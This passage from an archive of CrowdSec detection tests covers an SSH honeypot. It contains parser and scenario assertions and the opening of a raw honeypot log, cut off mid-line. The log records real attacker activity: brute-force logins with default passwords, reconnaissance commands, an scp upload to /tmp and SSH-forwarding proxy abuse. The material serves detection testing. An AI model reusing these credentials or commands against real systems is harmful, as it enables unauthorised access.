text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][107].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][107].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][107].Evt.Meta["timestamp"] == "2022-05-06T16:16:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][107].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][107].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][107].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][107].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][107].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][107].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][107].Evt.Enriched["MarshaledTime"] == "2022-05-06T16:16:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][108].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][108].Evt.Parsed["message"] == "2022/05/06 16:16:45 [45.82.65.44:42736] [channel 32] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][108].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][108].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][108].Evt.Parsed["sshesame_input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][108].Evt.Parsed["timestamp"] == "2022/05/06 16:16:45" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][108].Evt.Meta["timestamp"] == "2022-05-06T16:16:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][108].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][108].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][108].Evt.Meta["input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][108].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][108].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][108].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][108].Evt.Enriched["MarshaledTime"] == "2022-05-06T16:16:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][109].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][109].Evt.Parsed["message"] == "2022/05/06 16:28:03 [45.82.65.44:42736] [channel 33] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][109].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][109].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][109].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][109].Evt.Parsed["timestamp"] == "2022/05/06 16:28:03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][109].Evt.Meta["timestamp"] == "2022-05-06T16:28:03Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][109].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][109].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][109].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][109].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][109].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][109].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][109].Evt.Enriched["MarshaledTime"] == "2022-05-06T16:28:03Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][110].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][110].Evt.Parsed["timestamp"] == "2022/05/06 16:28:03" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][110].Evt.Parsed["message"] == "2022/05/06 16:28:03 [45.82.65.44:42736] [channel 33] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][110].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][110].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][110].Evt.Parsed["sshesame_input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][110].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][110].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][110].Evt.Meta["timestamp"] == "2022-05-06T16:28:03Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][110].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][110].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][110].Evt.Meta["input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_6) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.698.0 Safari/534.24\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][110].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][110].Evt.Enriched["MarshaledTime"] == "2022-05-06T16:28:03Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][111].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][111].Evt.Parsed["timestamp"] == "2022/05/06 16:33:02" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][111].Evt.Parsed["message"] == "2022/05/06 16:33:02 [190.2.139.67:58629] [channel 153] input: \"GET /?requestid=44562 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][111].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][111].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][111].Evt.Parsed["sshesame_input"] == "GET /?requestid=44562 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][111].Evt.Meta["timestamp"] == "2022-05-06T16:33:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][111].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][111].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][111].Evt.Meta["input"] == "GET /?requestid=44562 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][111].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][111].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][111].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][111].Evt.Enriched["MarshaledTime"] == "2022-05-06T16:33:02Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][112].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][112].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][112].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][112].Evt.Parsed["sshesame_input"] == "GET /?requestid=90219 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][112].Evt.Parsed["timestamp"] == "2022/05/06 16:41:59" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][112].Evt.Parsed["message"] == "2022/05/06 16:41:59 [190.2.139.67:58629] [channel 155] input: \"GET /?requestid=90219 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][112].Evt.Meta["input"] == "GET /?requestid=90219 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][112].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][112].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][112].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][112].Evt.Meta["timestamp"] == "2022-05-06T16:41:59Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][112].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][112].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][112].Evt.Enriched["MarshaledTime"] == "2022-05-06T16:41:59Z" len(results["success"][""]) == 0hub1/.tests/sshesame/scenario.assert000066400000000000000000000155101437532772500200140ustar00rootroot00000000000000len(results) == 5 "188.255.62.33" in results[0].Overflow.GetSources() results[0].Overflow.Sources["188.255.62.33"].IP == "188.255.62.33" results[0].Overflow.Sources["188.255.62.33"].Range == "" results[0].Overflow.Sources["188.255.62.33"].GetScope() == "Ip" results[0].Overflow.Sources["188.255.62.33"].GetValue() == "188.255.62.33" results[0].Overflow.Alert.Events[0].GetMeta("command") == "/ip cloud print" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "sshesame.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "sshesame_cmd" results[0].Overflow.Alert.Events[0].GetMeta("service") == "sshesame" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "188.255.62.33" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-05-06T12:25:39Z" results[0].Overflow.Alert.GetScenario() == "thespad/sshesame-cmd" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "186.78.209.242" in results[1].Overflow.GetSources() results[1].Overflow.Sources["186.78.209.242"].IP == "186.78.209.242" results[1].Overflow.Sources["186.78.209.242"].Range == "" results[1].Overflow.Sources["186.78.209.242"].GetScope() == "Ip" results[1].Overflow.Sources["186.78.209.242"].GetValue() == "186.78.209.242" results[1].Overflow.Alert.Events[0].GetMeta("command") == "scp -t /tmp/taCiyiIF" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "sshesame.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "sshesame_cmd" results[1].Overflow.Alert.Events[0].GetMeta("service") == "sshesame" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "186.78.209.242" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-05-06T05:40:31Z" results[1].Overflow.Alert.GetScenario() == "thespad/sshesame-cmd" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 "165.232.183.156" in results[2].Overflow.GetSources() results[2].Overflow.Sources["165.232.183.156"].IP == "165.232.183.156" results[2].Overflow.Sources["165.232.183.156"].Range == "" results[2].Overflow.Sources["165.232.183.156"].GetScope() == "Ip" results[2].Overflow.Sources["165.232.183.156"].GetValue() == "165.232.183.156" results[2].Overflow.Alert.Events[0].GetMeta("command") == "uname -s -v -n -r -m" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "sshesame.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "sshesame_cmd" results[2].Overflow.Alert.Events[0].GetMeta("service") == "sshesame" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "165.232.183.156" results[2].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-05-06T05:37:28Z" results[2].Overflow.Alert.GetScenario() == "thespad/sshesame-cmd" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 1 "165.232.183.156" in results[3].Overflow.GetSources() results[3].Overflow.Sources["165.232.183.156"].IP == "165.232.183.156" results[3].Overflow.Sources["165.232.183.156"].Range == "" results[3].Overflow.Sources["165.232.183.156"].GetScope() == "Ip" results[3].Overflow.Sources["165.232.183.156"].GetValue() == "165.232.183.156" results[3].Overflow.Alert.Events[0].GetMeta("command") == "uname -s -v -n -r -m" results[3].Overflow.Alert.Events[0].GetMeta("datasource_path") == "sshesame.log" results[3].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[0].GetMeta("log_type") == "sshesame_cmd" results[3].Overflow.Alert.Events[0].GetMeta("service") == "sshesame" results[3].Overflow.Alert.Events[0].GetMeta("source_ip") == "165.232.183.156" results[3].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-05-06T09:52:12Z" results[3].Overflow.Alert.GetScenario() == "thespad/sshesame-cmd" results[3].Overflow.Alert.Remediation == true results[3].Overflow.Alert.GetEventsCount() == 1 "3.16.59.158" in results[4].Overflow.GetSources() results[4].Overflow.Sources["3.16.59.158"].IP == "3.16.59.158" results[4].Overflow.Sources["3.16.59.158"].Range == "" results[4].Overflow.Sources["3.16.59.158"].GetScope() == "Ip" results[4].Overflow.Sources["3.16.59.158"].GetValue() == "3.16.59.158" results[4].Overflow.Alert.Events[0].GetMeta("datasource_path") == "sshesame.log" results[4].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[0].GetMeta("log_type") == "sshesame_login" results[4].Overflow.Alert.Events[0].GetMeta("service") == "sshesame" results[4].Overflow.Alert.Events[0].GetMeta("source_ip") == "3.16.59.158" results[4].Overflow.Alert.Events[0].GetMeta("target_user") == "root" results[4].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-05-06T09:15:03Z" results[4].Overflow.Alert.Events[0].GetMeta("username") == "root" results[4].Overflow.Alert.Events[1].GetMeta("datasource_path") == "sshesame.log" results[4].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[1].GetMeta("log_type") == "sshesame_login" results[4].Overflow.Alert.Events[1].GetMeta("service") == "sshesame" results[4].Overflow.Alert.Events[1].GetMeta("source_ip") == "3.16.59.158" results[4].Overflow.Alert.Events[1].GetMeta("target_user") == "knockknockwhosthere" results[4].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-05-06T09:15:04Z" results[4].Overflow.Alert.Events[1].GetMeta("username") == "knockknockwhosthere" results[4].Overflow.Alert.Events[2].GetMeta("datasource_path") == "sshesame.log" results[4].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[2].GetMeta("log_type") == "sshesame_login" results[4].Overflow.Alert.Events[2].GetMeta("service") == "sshesame" results[4].Overflow.Alert.Events[2].GetMeta("source_ip") == "3.16.59.158" results[4].Overflow.Alert.Events[2].GetMeta("target_user") == "root" results[4].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-05-06T09:17:10Z" results[4].Overflow.Alert.Events[2].GetMeta("username") == "root" results[4].Overflow.Alert.Events[3].GetMeta("datasource_path") == "sshesame.log" results[4].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[4].Overflow.Alert.Events[3].GetMeta("log_type") == "sshesame_login" results[4].Overflow.Alert.Events[3].GetMeta("service") == "sshesame" results[4].Overflow.Alert.Events[3].GetMeta("source_ip") == "3.16.59.158" results[4].Overflow.Alert.Events[3].GetMeta("target_user") == "knockknockwhosthere" results[4].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-05-06T09:17:11Z" results[4].Overflow.Alert.Events[3].GetMeta("username") == "knockknockwhosthere" results[4].Overflow.Alert.GetScenario() == "thespad/sshesame-bf" results[4].Overflow.Alert.Remediation == true results[4].Overflow.Alert.GetEventsCount() == 4hub1/.tests/sshesame/sshesame.log000066400000000000000000001221371437532772500173050ustar00rootroot000000000000002022/05/06 04:53:57 [190.2.139.67:58629] [channel 106] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 04:53:57 [190.2.139.67:58629] [channel 106] input: "GET /?requestid=53219 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 04:53:57 [190.2.139.67:58629] [channel 106] closed 2022/05/06 04:58:33 [190.2.139.67:7117] [channel 63] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 04:58:33 [190.2.139.67:7117] [channel 63] input: "GET /?requestid=61619 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 04:58:33 [190.2.139.67:7117] [channel 63] closed 2022/05/06 05:10:03 [195.3.147.60:28696] authentication for user "admin" without credentials rejected 2022/05/06 05:10:03 [195.3.147.60:28696] authentication for user "admin" with password "aisadmin" accepted 2022/05/06 05:10:03 [195.3.147.60:28696] connection with client version "SSH-2.0-OpenSSH_5.9" established 2022/05/06 05:10:03 [195.3.147.60:28696] [channel 0] direct TCP/IP forwarding from 127.0.0.1:24161 to 74.125.205.113:80 requested 2022/05/06 05:10:03 [195.3.147.60:28696] [channel 0] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 05:10:03 [195.3.147.60:28696] [channel 0] closed 2022/05/06 05:10:03 [195.3.147.60:28696] [channel 1] direct TCP/IP forwarding from 127.0.0.1:14687 to [2a00:1450:4010:c02::8b]:80 requested 2022/05/06 05:10:03 [195.3.147.60:28696] [channel 1] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 05:10:03 [195.3.147.60:28696] [channel 1] closed 2022/05/06 05:10:03 [195.3.147.60:28696] connection closed 2022/05/06 05:11:00 [185.131.12.144:60273] authentication for user "default" without credentials rejected 2022/05/06 05:11:02 [185.131.12.144:60273] authentication for user "default" with password "1" accepted 2022/05/06 05:11:02 [185.131.12.144:60273] connection with client version "SSH-2.0-OpenSSH_7.4" established 2022/05/06 05:11:04 [185.131.12.144:60273] connection closed 2022/05/06 05:37:28 [165.232.183.156:55934] authentication for user "xuexiaoman" without credentials rejected 2022/05/06 05:37:28 [165.232.183.156:55934] authentication for user "xuexiaoman" with password "xuexiaoman" accepted 2022/05/06 05:37:28 [165.232.183.156:55934] connection with client version "SSH-2.0-Go" established 2022/05/06 05:37:28 [165.232.183.156:55934] [channel 0] session requested 2022/05/06 05:37:28 [165.232.183.156:55934] [channel 0] command "uname -s -v -n -r -m" requested 2022/05/06 05:37:29 [165.232.183.156:55934] [channel 0] closed 2022/05/06 05:40:00 [165.232.183.156:55934] connection closed 2022/05/06 05:40:30 [186.78.209.242:47338] authentication for user "pi" without credentials rejected 2022/05/06 05:40:30 [186.78.209.242:47338] authentication for user "pi" with password "raspberryraspberry993311" accepted 2022/05/06 05:40:30 [186.78.209.242:47338] connection with client version "SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2+rpt1" established 2022/05/06 05:40:30 [186.78.209.242:47338] rejection of further session channels requested 2022/05/06 05:40:30 [186.78.209.242:47338] [channel 0] session requested 2022/05/06 05:40:31 [186.78.209.242:47338] [channel 0] environment variable "LANG" with value "en_GB.UTF-8" requested 2022/05/06 05:40:31 [186.78.209.242:47338] [channel 0] command "scp -t /tmp/taCiyiIF" requested 2022/05/06 05:40:31 [186.78.209.242:47338] [channel 0] closed 2022/05/06 05:40:31 [186.78.209.242:47338] connection closed 2022/05/06 05:40:32 [186.78.209.242:47346] authentication for user "pi" without credentials rejected 2022/05/06 05:40:32 [186.78.209.242:47346] authentication for user "pi" with password "raspberry" accepted 2022/05/06 05:40:32 [186.78.209.242:47346] connection with client version "SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2+rpt1" established 2022/05/06 05:40:32 [186.78.209.242:47346] rejection of further session channels requested 2022/05/06 05:40:32 [186.78.209.242:47346] [channel 0] session requested 2022/05/06 05:40:32 [186.78.209.242:47346] [channel 0] environment variable "LANG" with value "en_GB.UTF-8" requested 2022/05/06 05:40:32 [186.78.209.242:47346] [channel 0] command "scp -t /tmp/taCiyiIF" requested 2022/05/06 05:40:33 [186.78.209.242:47346] [channel 0] closed 2022/05/06 05:40:33 [186.78.209.242:47346] connection closed 2022/05/06 05:48:16 [190.2.139.67:7117] [channel 76] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.134.128:80 requested 2022/05/06 05:48:16 [190.2.139.67:7117] [channel 76] input: "GET /?requestid=78679 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 05:48:16 [190.2.139.67:7117] [channel 76] closed 2022/05/06 06:08:09 [190.2.139.67:7117] [channel 92] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 06:08:09 [190.2.139.67:7117] [channel 92] input: "GET /?requestid=16383 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 06:08:09 [190.2.139.67:7117] [channel 92] closed 2022/05/06 06:12:22 [190.2.139.67:58629] [channel 109] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 06:12:22 [190.2.139.67:58629] [channel 109] input: "GET /?requestid=34743 HTTP/1.1\r\nHost: ip.bablosoft.com\r\nConnection: close\r\nAccept: */*\r\nConnection: close\r\n\r\n" 2022/05/06 06:12:22 [190.2.139.67:58629] [channel 109] closed 2022/05/06 06:40:52 [45.82.65.44:42736] [channel 26] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.141.25:80 requested 2022/05/06 06:40:52 [45.82.65.44:42736] [channel 26] input: "GET / HTTP/1.1\r\nHost: omegle.com\r\nConnection: close\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\r\n\r\n" 2022/05/06 06:40:52 [45.82.65.44:42736] [channel 26] input: "GET http://omegle.com/ HTTP/1.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\r\n\r\n" 2022/05/06 06:41:23 [45.82.65.44:42736] [channel 26] closed 2022/05/06 06:41:28 [111.70.9.198:39673] authentication for user "default" without credentials rejected 2022/05/06 06:41:29 [111.70.9.198:39673] authentication for user "default" with password "1" accepted 2022/05/06 06:41:29 [111.70.9.198:39673] connection with client version "SSH-2.0-OpenSSH_7.4" established 2022/05/06 06:41:31 [111.70.9.198:39673] connection closed 2022/05/06 06:43:09 [195.3.147.60:38745] authentication for user "!root" without credentials rejected 2022/05/06 06:43:09 [195.3.147.60:38745] authentication for user "!root" with password "" accepted 2022/05/06 06:43:09 [195.3.147.60:38745] connection with client version "SSH-2.0-OpenSSH_4.3" established 2022/05/06 06:43:10 [195.3.147.60:38745] [channel 0] direct TCP/IP forwarding from 127.0.0.1:6487 to 74.125.205.102:80 requested 2022/05/06 06:43:10 [195.3.147.60:38745] [channel 0] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 06:43:10 [195.3.147.60:38745] [channel 0] closed 2022/05/06 06:43:10 [195.3.147.60:38745] [channel 1] direct TCP/IP forwarding from 127.0.0.1:2206 to [2a00:1450:4010:c02::8b]:80 requested 2022/05/06 06:43:10 [195.3.147.60:38745] [channel 1] input: "GET / HTTP/1.0\r\nHost: google.com\r\nConnection: close\r\n\r\n" 2022/05/06 06:43:10 [195.3.147.60:38745] [channel 1] closed 2022/05/06 06:43:10 [195.3.147.60:38745] connection closed 2022/05/06 07:05:23 [190.189.12.92:60614] authentication for user "arjun" with password "arjun123" accepted 2022/05/06 07:05:23 [190.189.12.92:60614] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 07:05:25 [190.189.12.92:32868] authentication for user "nproc" with password "nproc" accepted 2022/05/06 07:05:25 [190.189.12.92:32868] connection with client version "SSH-2.0-libssh-0.6.3" established 2022/05/06 07:05:25 [190.189.12.92:60614] [channel 0] session requested 2022/05/06 07:05:25 [190.189.12.92:32868] connection closed 2022/05/06 07:05:25 [190.189.12.92:60614] [channel 0] closed 2022/05/06 07:05:25 [190.189.12.92:60614] connection closed 2022/05/06 07:45:57 [190.2.139.67:58629] [channel 111] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested 2022/05/06 07:45:57 [190.2.139.67:58629] [channel 111] input: "GET /?requestid=97339 